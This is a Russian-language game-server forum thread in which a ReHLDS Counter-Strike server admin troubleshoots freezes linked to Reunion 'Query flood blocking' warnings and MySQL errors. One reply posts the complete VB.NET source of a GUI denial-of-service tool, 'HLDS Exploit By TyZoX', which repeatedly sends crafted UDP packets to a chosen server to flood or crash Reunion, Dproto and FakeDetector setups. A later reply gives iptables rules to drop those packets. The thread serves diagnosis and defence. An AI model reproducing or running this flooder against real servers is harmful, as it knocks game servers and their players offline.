[REUNION]: Query flood blocking: 1 pps (0.001 mbps) from 64+ IPs (сервер зависает)

Сообщения
165
Реакции
34
Помог
3 раз(а)
Ошибка
[REUNION]: Query flood blocking: 1 pps (0.001 mbps) from 64+ IPs
ОС
Windows
Билд
] version
Protocol version 48
Exe version 1.1.2.7 (cstrike)
ReHLDS version: 3.3.0.618-dev
Build date: 11:32:38 Dec 12 2017 (1340)
Build from: https://github.com/dreamstalker/rehlds/commit/fda9ee3
ReGamedll
] game version
ReGameDLL version: 5.3.0.276-dev
Build date: 16:19:11 Dec 8 2017
Build from: https://github.com/s1lentq/ReGameDLL_CS/commit/adeb09a
Версия Metamod
] meta version
Metamod v1.21-am 2013-03-15 (5:13)
by Will Day <[email protected]>
http://www.metamod.org/
compiled: Mar 15 2013, 15:20:21 (msc optimized)
Список метамодулей
] meta list
Currently loaded plugins:
description stat pend file vers src load unlod
[ 1] Rechecker RUN - rechecker_mm.dll v2.3 ini Chlvl ANY
[ 2] ReSemiclip RUN - resemiclip_mm.dl v2.3.9 ini Chlvl ANY
[ 3] Reunion RUN - reunion_mm.dll v0.1.75 ini Start Never
[ 4] Revoice RUN - revoice_mm.dll v0.1.0.3 ini Start Never
[ 5] WHBlocker RUN - whblocker_mm.dll v1.5.692 ini Chlvl ANY
[ 6] AMX Mod X RUN - amxmodx_mm.dll v1.8.3-R ini Start ANY
[ 7] ReAuthCheck RUN - reauthcheck_mm.d v0.1.6 ini Start Never
[ 8] Fun RUN - fun_amxx.dll v1.8.3-R pl6 ANY ANY
[ 9] CStrike RUN - cstrike_amxx.dll v1.8.3-R pl6 ANY ANY
[10] CSX RUN - csx_amxx.dll v1.8.3-R pl6 ANY ANY
[11] ReAPI RUN - reapi_amxx.dll v5.2.0.1 pl6 ANY Never
[12] MySQL RUN - mysql_amxx.dll v1.8.3-R pl6 ANY ANY
[13] Engine RUN - engine_amxx.dll v1.8.3-R pl6 ANY ANY
[14] Ham Sandwich RUN - hamsandwich_amxx v1.8.3-R pl6 ANY ANY
[15] FakeMeta RUN - fakemeta_amxx.dl v1.8.3-R pl6 ANY ANY
15 plugins, 15 running
Список плагинов
amx_plugins
Currently loaded plugins:
name version author file status
[ 1] Admin Base 1.8.3 AMXX Dev Team admin.amxx running
[ 2] Admin Commands 1.8.3 AMXX Dev Team admincmd.amxx running
[ 3] Menus Front-End 1.8.3 AMXX Dev Team menufront.amxx running
[ 4] Commands Menu 1.8.3 AMXX Dev Team cmdmenu.amxx running
[ 5] Players Menu 1.8.3 AMXX Dev Team plmenu.amxx running
[ 6] Maps Menu 1.8.3 AMXX Dev Team mapsmenu.amxx running
[ 7] Admin Chat 1.8.3 AMXX Dev Team adminchat.amxx running
[ 8] Anti Flood 1.8.3 AMXX Dev Team antiflood.amxx running
[ 9] Scrolling Message 1.8.3 AMXX Dev Team scrollmsg.amxx running
[ 10] Info. Messages 1.8.3 AMXX Dev Team imessage.amxx running
[ 11] Admin Votes 1.8.3 AMXX Dev Team adminvote.amxx running
[ 12] NextMap 1.8.3 AMXX Dev Team nextmap.amxx running
[ 13] TimeLeft 1.8.3 AMXX Dev Team timeleft.amxx running
[ 14] Pause Plugins 1.8.3 AMXX Dev Team pausecfg.amxx running
[ 15] Stats Configuration 1.8.3 AMXX Dev Team statscfg.amxx running
[ 16] Teleport Menu 1.8.3 AMXX Dev Team telemenu.amxx running
[ 17] Multi-Lingual System 1.8.3 AMXX Dev Team multilingual.am running
[ 18] Plugin Menu 1.8.3 AMXX Dev Team pluginmenu.amxx running
[ 19] Advanced Experience Sy 0.5 Vega serfreeman1337 aes_main.amxx running
[ 20] AES: Informer 0.5 Vega serfreeman1337 aes_informer.am running
[ 21] AES: Admin Tools 0.5 Vega serfreeman1337 aes_exp_editor. running
[ 22] AES: CStrike Addon 0.5 Vega serfreeman1337 aes_exp_cstrike running
[ 23] AES: Bonus System 0.5 Vega serfreeman1337 aes_bonus_syste running
[ 24] AES: Bonus CSTRIKE 0.5 Vega serfreeman1337 aes_bonus_cstri running
[ 25] Mode 2x2 2.5re s1lent mode.amxx running
[ 26] Weapon Skin System 0.6.0-50 Mistrick weapon_skin_sys running
[ 27] StatsX 1.8.3 AMXX Dev Team [U statsx_gui.amxx running
[ 28] Autoresponder/Advertis 0.5 MaximusBrood ad_manager.amxx running
[ 29] [ReAPI] AdminFreeLook 1.0 ReHLDS Team admin_freelook. running
[ 30] Stats Marquee 1.2 Travo top_players.amx running
[ 31] Reset Score 1.0 Silenttt resetscore.amxx running
[ 32] Admin Spectator ESP 1.3 KoST admin_spec_esp. running
[ 33] Custom NextMap Chooser 1.4d GHW_Chronic GHW_Custom_Next running
[ 34] Team Balance Control 1.3.9 gyxoBka TeamBalanceCont running
[ 35] Ban Cs 13.0 Empower amx_bancs.amxx running
[ 36] say /adminka 1.1 Pa1n say_admin.amxx running
[ 37] IDEAL VIP by Ba/lePa 2.9 Ba/lePa IDEAL_VIP.amxx running
[ 38] Menu serwerow 0.2.1 Sebul server_menu_v2. running
[ 39] Nice Kicker 8.0 sector nice_kicker.amx running
[ 40] AFK Kicker 1.0b Cheesy Peteza afkkicker.amxx running
[ 41] Block Change Name 1.0 DJ_WEST block_change_na running
[ 42] block ip 0.1 legenda amx_blockip.amx running
[ 43] Auto recording demo 2.0 IzI | Bonaqua (R amx_autodemorec running
[ 44] Reallite HLGuard 2.8 [Rebor DJ_WEST reallite_hlg_re running
[ 45] Shoot Grenades 1.0 joaquimandrade shootGrenades.a running
[ 46] VoteBan_2 2.0 WTF votebans_wtf.am running
[ 47] Damager 1.0 Prayer damager.amxx running
[ 48] HeGroundExplode 0.1 Burberry | Andre AllGrenade_Grou running
[ 49] ADmins-Restore 1.0 Fedcomp admin-restore.a running
[ 50] Admin Prefixes 3.0 m0skVi4a ;] AdminPrefixes.a running
[ 51] Parachute 15.01.06 KRoT@L/JTP10181 parachute_rbs.a running
[ 52] Admin Gag 1.0 fomeN amx_admingag.am running
[ 53] Grenade Control 1.1 Willyumyum & Rya grenade_control running
[ 54] Custom Models 1.3.2 neugomon custom_models.a running
[ 55] Items Restrict 1.0 s1lent items_restrict. running
[ 56] AMXBans: Screens Gm 1.6 Larte Team amxbans_ssban.a running
56 plugins, 56 running
В консоле появляться данная надпись
[REUNION]: Query flood blocking: 1 pps (0.001 mbps) from 64+ IPs
Происходит следующее: Сервер зависает когда игрок пытается приконнектиться к нему. Зависают все кто на сервере тоже.
Как мне кажется, что кто-то ддосит сервер, так как присоединяется какой то непонятный IP адрес с сомнительным портом (68759) порт может быть произвольный.
Потом происходит чудеса сервер не надает, просто не пускает не кого. Данная процедура может длиться 7-10 минут. Пока кому-то не надоест посылать огромную кучу не понятно каких пакетов на сервер. Возможно ли отсеивать такие сомнительные порты. Ну скажем разрешить только подключения с 27005 (это я просто условно размышляю)
Или это можно сделать в настройках Reunion. Инфы нашел мало в интернете всего пару статей. И там было описано про Linux. Вот здесьhttps://github.com/dreamstalker/rehlds/issues/427 написано, что лучше обратиться к разработчикам и вот я здесь :blush2:
 
Последнее редактирование:
Сообщения
2,491
Реакции
2,790
Помог
61 раз(а)
вы точно уверены что там именно такой порт? Потому что с самого начала я подумал что это Ip Spoofing. Но при попитке указания такого порта меня слало на все 4 стороны. Ведь он вылазит за пределы 0-65535 (духбайтовое безнаковое число). Тоесть он не мог физически даже влезть в заголовок пакета. Я бы собрал как можно больше информации (как минимум дамп трафика если это возможно)
 
Сообщения
165
Реакции
34
Помог
3 раз(а)
IP:PORT 145.255.164.14:43525
Это тот, что из последних, какая необходима информация с моей стороны? По поводу дампа трафика попробую, так как это происходит приблизительно через 5-6 дней правда не всегда. Сервер не на хостинге, а на рабочем железе, поэтому даже не знаю какую инфу предоставить?
Xeon e5 2680 V2 (2.8 gz)
Ram 16 gb
ssd 120 gb
интернет 1gbit (бывает колеблется от 750mb-1gb)
 
Сообщения
165
Реакции
34
Помог
3 раз(а)
Вот только, что выдернул из консоли.
Не знаю, что и думать. На Amxbans не когда не грешил.
Ошибка SQL, что-то пытается записаться в таблицу где уже что-то существует. (я так понимаю)
Код:
L 02/17/2018 - 16:36:52: [amxbans_main.amxx] [AMXBans] Ошибка при соединении!
L 02/17/2018 - 16:36:52: [amxbans_main.amxx] [AMXBans] Сообщение: Lost connection to MySQL server at 'reading initial communication packet', system error: 0 (2013)
Про данный запрос незнаю, что это... (надеюсь ктонибудь разъяснит)
Код:
L 02/17/2018 - 16:36:52: [amxbans_main.amxx] [AMXBans] Выполнение запроса: SELECT `bid`, `ban_created`, `ban_length`, `cs_ban_reason`, `admin_nick`, `admin_id`, `admin_ip`, `player_nick`, `player_id`, `player_ip`, `server_name`, `server_ip`, `ban_type` FROM `amx_bans` WHERE ((`player_id` = 'STEAM_1:0:45585630' AND `ban_type` = 'S') OR (`player_ip` = '90.154.64.46'90.154.64.46:36555:reconnect
Такое ощущение, что отваливается БД. Но причем здесь тогда вышеуказанный ip
И почему не возможно приконнектится к серверу, тоже не ясно? Сервер просто замораживается при коннекте игрока и после определенного времени отсоединяет его.
По поводу дамп трафика пытаюсь поймать данный момент. Пока еще не успел ибо это происходит произвольно.
 
Сообщения
165
Реакции
34
Помог
3 раз(а)
Всем добрый вечер, ребят подскажите, что значит данная ошибка
Код:
L 03/07/2018 - 19:58:37: [aes_main.amxx] SQL connection failed
L 03/07/2018 - 19:58:37: [aes_main.amxx] [ 2013 ] Lost connection to MySQL server at 'reading initial communication packet', system error: 0
Пишу сюда, так как напрямую связано с этой общей ошибкой, что описывалось выше.
 
Сообщения
165
Реакции
34
Помог
3 раз(а)
Pe4enbka, возможно проблема из-за файрвола или биндинга на loopback адрес
https://stackoverflow.com/questions...at-reading-initial-communication-packet-syste
P.S: Ошибка не как не связана с Reunion
Спасибо за совет, отключил брандмауэр буду ждать новых приключений. Если результата не последует, буду менять IP на localhost. как обсуждалось в теме по ссылке.
 
Сообщения
165
Реакции
34
Помог
3 раз(а)
Спасибо за совет, отключил брандмауэр буду ждать новых приключений.
Не чего хорошего не заметил, а жаль.
Если результата не последует, буду менять IP на localhost. как обсуждалось в теме по ссылке.
Поменял Ip на localhost(в файлах), amxbans работает, плагин AES не реагирует.
Отключил плагин.
Код:
 [ 49] ADmins-Restore          1.0         Fedcomp           admin-restore.a  running
Ошибка с замиранием сервера при коннекте пропала, но БД все равно отваливается.
Дамп трафика по прежнему остается недосягаемым, так как происходит это произвольно, диапазон времени не известен.
Будем искать проблему дальше, начинаю грешить на Хостинг. Хотя раньше таких проблем не замечал (то есть их не было)
 
Сообщения
165
Реакции
34
Помог
3 раз(а)
Первоначальные проблемы пропали, то ли после зажженной свечки за здравие, то ли после проделок самого плутоватого бога Виракоча.:mosking:
В любом случаи плагин который написан ниже, неактуален для ReHLDS то ли он конфликтовал, с amxbans_core и выдавал такие перлы, то ли
Реле действительно работает, вот только, тот кто в кабине, балбес:smile3:
Код:
 [ 49] ADmins-Restore          1.0         Fedcomp           admin-restore.a  running
Не обошлось и без новых приключений. Теперь, повседневно начало сыпать 1,2 раза в день, ошибка.
SZ_GetSpace: overflow on nickname
Как не странно раньше такого не замечал на HLDS, а ведь не чего не изменилось в сборке.
 
Сообщения
35
Реакции
9
I got the source code of the exploit

C++:
Imports System
Imports System.Collections.Generic
Imports System.ComponentModel
Imports System.Drawing
Imports System.Net
Imports System.Net.Sockets
Imports System.Text
Imports System.Windows.Forms
 
Namespace abolahab
    Public Class tbi
        Inherits Form
        ' Methods
       Public Sub New()
            Me.InitializeComponent
        End Sub
 
        Private Sub bunifuMetroTextbox3_TextChanged(ByVal sender As Object, ByVal e As EventArgs)
        End Sub
 
        Private Sub button1_Click(ByVal sender As Object, ByVal e As EventArgs)
            Try
                If (Me.serverak.Text = "") Then
                    MessageBox.Show("Enter the server.", "", MessageBoxButtons.OK, MessageBoxIcon.Hand)
                ElseIf (Me.bunifuMetroTextbox3.Text = "") Then
                    MessageBox.Show("Enter the Interval.", "", MessageBoxButtons.OK, MessageBoxIcon.Hand)
                Else
                    Me.timer1.Interval = Convert.ToInt16(Me.bunifuMetroTextbox3.Text)
                    Me.timer2.Interval = Convert.ToInt16(Me.bunifuMetroTextbox3.Text)
                    Me.timer3.Interval = Convert.ToInt16(Me.bunifuMetroTextbox3.Text)
                    Me.timer4.Interval = Convert.ToInt16(Me.bunifuMetroTextbox3.Text)
                    Me.timer5.Interval = Convert.ToInt16(Me.bunifuMetroTextbox3.Text)
                    Me.timer6.Interval = Convert.ToInt16(Me.bunifuMetroTextbox3.Text)
                    Me.timer7.Interval = Convert.ToInt16(Me.bunifuMetroTextbox3.Text)
                    Me.timer8.Interval = Convert.ToInt16(Me.bunifuMetroTextbox3.Text)
                    Me.timer9.Interval = Convert.ToInt16(Me.bunifuMetroTextbox3.Text)
                    Me.timer10.Interval = Convert.ToInt16(Me.bunifuMetroTextbox3.Text)
                    Me.timer1.Start
                    Me.timer2.Start
                    Me.timer3.Start
                    Me.timer4.Start
                    Me.timer5.Start
                    Me.timer6.Start
                    Me.timer7.Start
                    Me.timer8.Start
                    Me.timer9.Start
                    Me.timer10.Start
                End If
            Catch obj1 As Object
            End Try
        End Sub
 
        Private Sub button2_Click(ByVal sender As Object, ByVal e As EventArgs)
            Me.timer1.Stop
            Me.timer2.Stop
            Me.timer3.Stop
            Me.timer4.Stop
            Me.timer5.Stop
            Me.timer6.Stop
            Me.timer7.Stop
            Me.timer8.Stop
            Me.timer9.Stop
            Me.timer10.Stop
            Me.label2.Text = "OFF"
        End Sub
 
        Private Sub checkBox1_CheckedChanged(ByVal sender As Object, ByVal e As EventArgs)
        End Sub
 
        Private Sub checkBox3_CheckedChanged(ByVal sender As Object, ByVal e As EventArgs)
        End Sub
 
        Private Sub checkBox4_CheckedChanged(ByVal sender As Object, ByVal e As EventArgs)
        End Sub
 
        Private Sub comboBox1_SelectedIndexChanged(ByVal sender As Object, ByVal e As EventArgs)
        End Sub
 
        Protected Overrides Sub Dispose(ByVal disposing As Boolean)
            If (disposing AndAlso (Not Me.components Is Nothing)) Then
                Me.components.Dispose
            End If
            MyBase.Dispose(disposing)
        End Sub
 
        Private Sub Form1_Load(ByVal sender As Object, ByVal e As EventArgs)
            Me.comboBox1.Text = "[Reunion] Query Exploit"
        End Sub
 
        Private Sub InitializeComponent()
            Me.components = New Container
            Me.serverak = New TextBox
            Me.button1 = New Button
            Me.button2 = New Button
            Me.label1 = New Label
            Me.label2 = New Label
            Me.bunifuMetroTextbox3 = New TextBox
            Me.timer1 = New Timer(Me.components)
            Me.timer2 = New Timer(Me.components)
            Me.timer3 = New Timer(Me.components)
            Me.timer4 = New Timer(Me.components)
            Me.timer5 = New Timer(Me.components)
            Me.label3 = New Label
            Me.label4 = New Label
            Me.comboBox1 = New ComboBox
            Me.label5 = New Label
            Me.timer6 = New Timer(Me.components)
            Me.timer7 = New Timer(Me.components)
            Me.timer8 = New Timer(Me.components)
            Me.timer9 = New Timer(Me.components)
            Me.timer10 = New Timer(Me.components)
            Me.checkBox1 = New CheckBox
            Me.checkBox2 = New CheckBox
            Me.checkBox3 = New CheckBox
            Me.checkBox4 = New CheckBox
            Me.checkBox5 = New CheckBox
            MyBase.SuspendLayout
            Me.serverak.Font = New Font("Segoe Print", 15.75!, FontStyle.Bold, GraphicsUnit.Point, 0)
            Me.serverak.Location = New Point(&HD9, 12)
            Me.serverak.Multiline = True
            Me.serverak.Name = "serverak"
            Me.serverak.Size = New Size(&H192, 40)
            Me.serverak.TabIndex = 0
            Me.serverak.TextAlign = HorizontalAlignment.Center
            AddHandler Me.serverak.TextChanged, New EventHandler(AddressOf Me.textBox1_TextChanged)
            Me.button1.Font = New Font("Palatino Linotype", 14.25!, FontStyle.Bold, GraphicsUnit.Point, 0)
            Me.button1.ForeColor = SystemColors.ActiveCaption
            Me.button1.Location = New Point(&H1A, &HE9)
            Me.button1.Name = "button1"
            Me.button1.Size = New Size(&HCD, &H3A)
            Me.button1.TabIndex = 1
            Me.button1.Text = "Start"
            Me.button1.UseVisualStyleBackColor = True
            AddHandler Me.button1.Click, New EventHandler(AddressOf Me.button1_Click)
            Me.button2.Font = New Font("Palatino Linotype", 14.25!, FontStyle.Bold, GraphicsUnit.Point, 0)
            Me.button2.ForeColor = Color.DarkOrange
            Me.button2.Location = New Point(&HF7, &HE9)
            Me.button2.Name = "button2"
            Me.button2.Size = New Size(&HCD, &H3A)
            Me.button2.TabIndex = 2
            Me.button2.Text = "Stop"
            Me.button2.UseVisualStyleBackColor = True
            AddHandler Me.button2.Click, New EventHandler(AddressOf Me.button2_Click)
            Me.label1.AutoSize = True
            Me.label1.Font = New Font("Impact", 11.25!, FontStyle.Regular, GraphicsUnit.Point, 0)
            Me.label1.Location = New Point(&H234, &H113)
            Me.label1.Name = "label1"
            Me.label1.Size = New Size(&H27, &H13)
            Me.label1.TabIndex = 3
            Me.label1.Text = "Idle :"
            AddHandler Me.label1.Click, New EventHandler(AddressOf Me.label1_Click)
            Me.label2.AutoSize = True
            Me.label2.Font = New Font("Segoe Print", 9.75!, FontStyle.Bold, GraphicsUnit.Point, 0)
            Me.label2.ForeColor = Color.Red
            Me.label2.Location = New Point(&H261, &H10F)
            Me.label2.Name = "label2"
            Me.label2.Size = New Size(&H24, &H17)
            Me.label2.TabIndex = 4
            Me.label2.Text = "OFF"
            AddHandler Me.label2.Click, New EventHandler(AddressOf Me.label2_Click)
            Me.bunifuMetroTextbox3.Font = New Font("Tahoma", 12!, FontStyle.Bold, GraphicsUnit.Point, 0)
            Me.bunifuMetroTextbox3.ForeColor = Color.SaddleBrown
            Me.bunifuMetroTextbox3.Location = New Point(&H222, 230)
            Me.bunifuMetroTextbox3.Multiline = True
            Me.bunifuMetroTextbox3.Name = "bunifuMetroTextbox3"
            Me.bunifuMetroTextbox3.Size = New Size(&H63, &H19)
            Me.bunifuMetroTextbox3.TabIndex = 5
            Me.bunifuMetroTextbox3.Text = "1000"
            Me.bunifuMetroTextbox3.TextAlign = HorizontalAlignment.Center
            AddHandler Me.bunifuMetroTextbox3.TextChanged, New EventHandler(AddressOf Me.bunifuMetroTextbox3_TextChanged)
            AddHandler Me.timer2.Tick, New EventHandler(AddressOf Me.timer2_Tick)
            AddHandler Me.timer4.Tick, New EventHandler(AddressOf Me.timer4_Tick)
            AddHandler Me.timer5.Tick, New EventHandler(AddressOf Me.timer5_Tick)
            Me.label3.AutoSize = True
            Me.label3.Font = New Font("Tahoma", 12!, FontStyle.Bold, GraphicsUnit.Point, 0)
            Me.label3.Location = New Point(&H1D9, &HE9)
            Me.label3.Name = "label3"
            Me.label3.Size = New Size(&H43, &H13)
            Me.label3.TabIndex = 6
            Me.label3.Text = "Time/s"
            AddHandler Me.label3.Click, New EventHandler(AddressOf Me.label3_Click)
            Me.label4.AutoSize = True
            Me.label4.Font = New Font("Segoe Print", 18!, FontStyle.Bold, GraphicsUnit.Point, 0)
            Me.label4.Location = New Point(&H12, 12)
            Me.label4.Name = "label4"
            Me.label4.Size = New Size(&HC1, &H2B)
            Me.label4.TabIndex = 7
            Me.label4.Text = "SERVER:PORT"
            AddHandler Me.label4.Click, New EventHandler(AddressOf Me.label4_Click)
            Me.comboBox1.FormattingEnabled = True
            Me.comboBox1.Items.AddRange(New Object() { "[Reunion] Query Exploit", "[Dproto] Flood", "[FakeDetector] Crash", "TEST" })
            Me.comboBox1.Location = New Point(&HD9, &H72)
            Me.comboBox1.Name = "comboBox1"
            Me.comboBox1.Size = New Size(&HA5, &H15)
            Me.comboBox1.TabIndex = 8
            AddHandler Me.comboBox1.SelectedIndexChanged, New EventHandler(AddressOf Me.comboBox1_SelectedIndexChanged)
            Me.label5.AutoSize = True
            Me.label5.Font = New Font("Segoe Print", 18!, FontStyle.Bold, GraphicsUnit.Point, 0)
            Me.label5.Location = New Point(&H55, &H61)
            Me.label5.Name = "label5"
            Me.label5.Size = New Size(&H7E, &H2B)
            Me.label5.TabIndex = 9
            Me.label5.Text = "Method's"
            AddHandler Me.label5.Click, New EventHandler(AddressOf Me.label5_Click)
            AddHandler Me.timer6.Tick, New EventHandler(AddressOf Me.timer6_Tick)
            AddHandler Me.timer7.Tick, New EventHandler(AddressOf Me.timer7_Tick)
            AddHandler Me.timer8.Tick, New EventHandler(AddressOf Me.timer8_Tick)
            AddHandler Me.timer9.Tick, New EventHandler(AddressOf Me.timer9_Tick)
            AddHandler Me.timer10.Tick, New EventHandler(AddressOf Me.timer10_Tick)
            Me.checkBox1.AutoSize = True
            Me.checkBox1.Font = New Font("Franklin Gothic Medium", 11.25!)
            Me.checkBox1.Location = New Point(&H21B, &H58)
            Me.checkBox1.Name = "checkBox1"
            Me.checkBox1.Size = New Size(&H5E, &H18)
            Me.checkBox1.TabIndex = 10
            Me.checkBox1.Text = "Method(1)"
            Me.checkBox1.UseVisualStyleBackColor = True
            AddHandler Me.checkBox1.CheckedChanged, New EventHandler(AddressOf Me.checkBox1_CheckedChanged)
            Me.checkBox2.AutoSize = True
            Me.checkBox2.Font = New Font("Franklin Gothic Medium", 11.25!)
            Me.checkBox2.Location = New Point(&H21B, &H6F)
            Me.checkBox2.Name = "checkBox2"
            Me.checkBox2.RightToLeft = RightToLeft.No
            Me.checkBox2.Size = New Size(&H5E, &H18)
            Me.checkBox2.TabIndex = 11
            Me.checkBox2.Text = "Method(2)"
            Me.checkBox2.UseVisualStyleBackColor = True
            Me.checkBox3.AutoSize = True
            Me.checkBox3.Font = New Font("Franklin Gothic Medium", 11.25!, FontStyle.Regular, GraphicsUnit.Point, 0)
            Me.checkBox3.Location = New Point(&H21B, &H86)
            Me.checkBox3.Name = "checkBox3"
            Me.checkBox3.Size = New Size(&H5E, &H18)
            Me.checkBox3.TabIndex = 12
            Me.checkBox3.Text = "Method(3)"
            Me.checkBox3.UseVisualStyleBackColor = True
            AddHandler Me.checkBox3.CheckedChanged, New EventHandler(AddressOf Me.checkBox3_CheckedChanged)
            Me.checkBox4.AutoSize = True
            Me.checkBox4.Font = New Font("Franklin Gothic Medium", 11.25!)
            Me.checkBox4.Location = New Point(&H21B, &H9B)
            Me.checkBox4.Name = "checkBox4"
            Me.checkBox4.Size = New Size(&H5E, &H18)
            Me.checkBox4.TabIndex = 13
            Me.checkBox4.Text = "Method(4)"
            Me.checkBox4.UseVisualStyleBackColor = True
            AddHandler Me.checkBox4.CheckedChanged, New EventHandler(AddressOf Me.checkBox4_CheckedChanged)
            Me.checkBox5.AutoSize = True
            Me.checkBox5.Font = New Font("Franklin Gothic Medium", 11.25!)
            Me.checkBox5.Location = New Point(&H21B, &HB0)
            Me.checkBox5.Name = "checkBox5"
            Me.checkBox5.Size = New Size(&H5E, &H18)
            Me.checkBox5.TabIndex = 14
            Me.checkBox5.Text = "Method(5)"
            Me.checkBox5.UseVisualStyleBackColor = True
            MyBase.AutoScaleDimensions = New SizeF(6!, 13!)
            MyBase.AutoScaleMode = AutoScaleMode.Font
            MyBase.ClientSize = New Size(&H28C, &H12F)
            MyBase.Controls.Add(Me.checkBox5)
            MyBase.Controls.Add(Me.checkBox4)
            MyBase.Controls.Add(Me.checkBox3)
            MyBase.Controls.Add(Me.checkBox2)
            MyBase.Controls.Add(Me.checkBox1)
            MyBase.Controls.Add(Me.label5)
            MyBase.Controls.Add(Me.comboBox1)
            MyBase.Controls.Add(Me.label4)
            MyBase.Controls.Add(Me.label3)
            MyBase.Controls.Add(Me.bunifuMetroTextbox3)
            MyBase.Controls.Add(Me.label2)
            MyBase.Controls.Add(Me.label1)
            MyBase.Controls.Add(Me.button2)
            MyBase.Controls.Add(Me.button1)
            MyBase.Controls.Add(Me.serverak)
            MyBase.Name = "tbi"
            Me.Text = "HLDS Exploit By TyZoX"
            AddHandler MyBase.Load, New EventHandler(AddressOf Me.Form1_Load)
            MyBase.ResumeLayout(False)
            MyBase.PerformLayout
        End Sub
 
        Private Sub label1_Click(ByVal sender As Object, ByVal e As EventArgs)
        End Sub
 
        Private Sub label2_Click(ByVal sender As Object, ByVal e As EventArgs)
        End Sub
 
        Private Sub label3_Click(ByVal sender As Object, ByVal e As EventArgs)
        End Sub
 
        Private Sub label4_Click(ByVal sender As Object, ByVal e As EventArgs)
        End Sub
 
        Private Sub label5_Click(ByVal sender As Object, ByVal e As EventArgs)
        End Sub
 
        Public Sub setExploit()
            Dim i As Integer = 1
            Do While (i <= 400)
                If Not String.IsNullOrEmpty(Me.serverak.Text) Then
                    Dim separator As Char() = New Char() { ":"c }
                    Dim strArray As String() = Me.serverak.Text.Split(separator)
                    Dim remoteEP As New IPEndPoint(IPAddress.Parse(strArray(0)), Convert.ToInt32(strArray(1)))
                    Dim socket As New Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp) With { _
                        .SendTimeout = Convert.ToInt16(Me.bunifuMetroTextbox3.Text), _
                        .ReceiveTimeout = Convert.ToInt16(Me.bunifuMetroTextbox3.Text) _
                    }
                    socket.Connect(remoteEP)
                    Dim list As New List(Of Byte)
                    Dim buffer As Byte() = New Byte(&H7FC  - 1) {}
                    If (Me.comboBox1.Text = "[Reunion] Query Exploit") Then
                        If Me.checkBox1.Checked Then
                            socket.Send(New Byte() { &HFF, &HFF, &HFF, &HFF, &H55, 100, &H4C, &H26, &H72 })
                        End If
                        If Me.checkBox2.Checked Then
                            socket.Send(New Byte() { &HFF, &HFF, &HFF, &HFF, &H56, &HFF, &HFF, &HFF, &HFF })
                        End If
                        If Me.checkBox3.Checked Then
                            socket.Send(New Byte() { &HFF, &HFF, &HFF, &HFF, &H55, 0, 0, 0, 0 })
                        End If
                        If Me.checkBox4.Checked Then
                            socket.Send(New Byte() { &HFF, &HFF, &HFF, &HFF, &H54, &H53, &H6F, &H75, &H72, &H63, &H65, &H20, &H45, 110, &H67, &H69, 110, &H65, &H20, &H51, &H75, &H65, &H72, &H79, 0 })
                        End If
                        If Me.checkBox5.Checked Then
                            socket.Send(New Byte() { &HFE, &HFF, &HFF, &HFF, &H76, &H3B, 0, 0, 2, &HFF, &HFF, &HFF, &HFF, &H45, &H66, 0, &H5F, &H74, &H75, &H74, &H6F, &H72, &H5F, &H62, &H6F, &H6D, &H62, &H5F, &H76, &H69, &H65, &H77, &H61, &H62, &H6C, &H65, &H5F, &H63, &H68, &H65, &H63, &H6B, &H5F, &H69, 110, &H74, &H65, &H72, &H76, &H61, &H6C, 0, &H30, &H2E })
                        End If
                    End If
                    If (Me.comboBox1.Text = "[Dproto] Flood") Then
                        socket.Send(New Byte() { &HFE, &HFF, &HFF, &HFF, &HFF })
                    End If
                    If (Me.comboBox1.Text = "[FakeDetector] Crash") Then
                        list.AddRange(New Byte() { &HFE, &HFF, &HFF, &HFF })
                        list.AddRange(Encoding.ASCII.GetBytes("123 "))
                        socket.Send(list.ToArray)
                    End If
                    If (Me.comboBox1.Text = "TEST") Then
                        socket.Send(New Byte() { &H7A, &H7A, &H7A, &H7A, &H7A })
                    End If
                    Me.label2.Text = "ON"
                End If
                i += 1
            Loop
        End Sub
 
        Private Sub textBox1_TextChanged(ByVal sender As Object, ByVal e As EventArgs)
        End Sub
 
        Private Sub textBox1_TextChanged_1(ByVal sender As Object, ByVal e As EventArgs)
        End Sub
 
        Private Sub timer1_Tick(ByVal sender As Object, ByVal e As EventArgs)
            Me.setExploit
        End Sub
 
        Private Sub timer10_Tick(ByVal sender As Object, ByVal e As EventArgs)
            Me.setExploit
        End Sub
 
        Private Sub timer2_Tick(ByVal sender As Object, ByVal e As EventArgs)
            Me.setExploit
        End Sub
 
        Private Sub timer3_Tick(ByVal sender As Object, ByVal e As EventArgs)
            Me.setExploit
        End Sub
 
        Private Sub timer4_Tick(ByVal sender As Object, ByVal e As EventArgs)
            Me.setExploit
        End Sub
 
        Private Sub timer5_Tick(ByVal sender As Object, ByVal e As EventArgs)
            Me.setExploit
        End Sub
 
        Private Sub timer6_Tick(ByVal sender As Object, ByVal e As EventArgs)
            Me.setExploit
        End Sub
 
        Private Sub timer7_Tick(ByVal sender As Object, ByVal e As EventArgs)
            Me.setExploit
        End Sub
 
        Private Sub timer8_Tick(ByVal sender As Object, ByVal e As EventArgs)
            Me.setExploit
        End Sub
 
        Private Sub timer9_Tick(ByVal sender As Object, ByVal e As EventArgs)
            Me.setExploit
        End Sub
 
 
        ' Fields
       Private bb As Integer = 0
        Private bunifuMetroTextbox3 As TextBox
        Private button1 As Button
        Private button2 As Button
        Private checkBox1 As CheckBox
        Private checkBox2 As CheckBox
        Private checkBox3 As CheckBox
        Private checkBox4 As CheckBox
        Private checkBox5 As CheckBox
        Private comboBox1 As ComboBox
        Private components As IContainer = Nothing
        Private label1 As Label
        Private label2 As Label
        Private label3 As Label
        Private label4 As Label
        Private label5 As Label
        Private serverak As TextBox
        Private timer1 As Timer
        Private timer10 As Timer
        Private timer2 As Timer
        Private timer3 As Timer
        Private timer4 As Timer
        Private timer5 As Timer
        Private timer6 As Timer
        Private timer7 As Timer
        Private timer8 As Timer
        Private timer9 As Timer
    End Class
End Namespace
Hope some1 gets a fix :)
 

ifx

Сообщения
330
Реакции
149
Помог
4 раз(а)
Pe4enbka, popilas, iptabels best way to fix it
add this lines
Код:
iptables -I INPUT -p udp -m u32 --u32 "26&0xFFFF=0xfeff" -j DROP
iptables -I INPUT -p udp -m u32 --u32 "24&0xffff=0x0000" -j DROP
i have same shit on last week, some school-hero sendin query flood on my servers and they freezes. few hrs of google and no more problems
so its 100% workin solution.

ps. dont forget to enable firewall and update reunion\rehlds to last version.
 
Последнее редактирование:

ifx

Сообщения
330
Реакции
149
Помог
4 раз(а)
shaid, nope, i have all the time 20+ players on server
 
Сообщения
8
Реакции
3
NET_SendPacket: ERROR: Operation not permitted
NET_SendPacket: ERROR: Operation not permitted
NET_SendPacket: ERROR: Operation not permitted
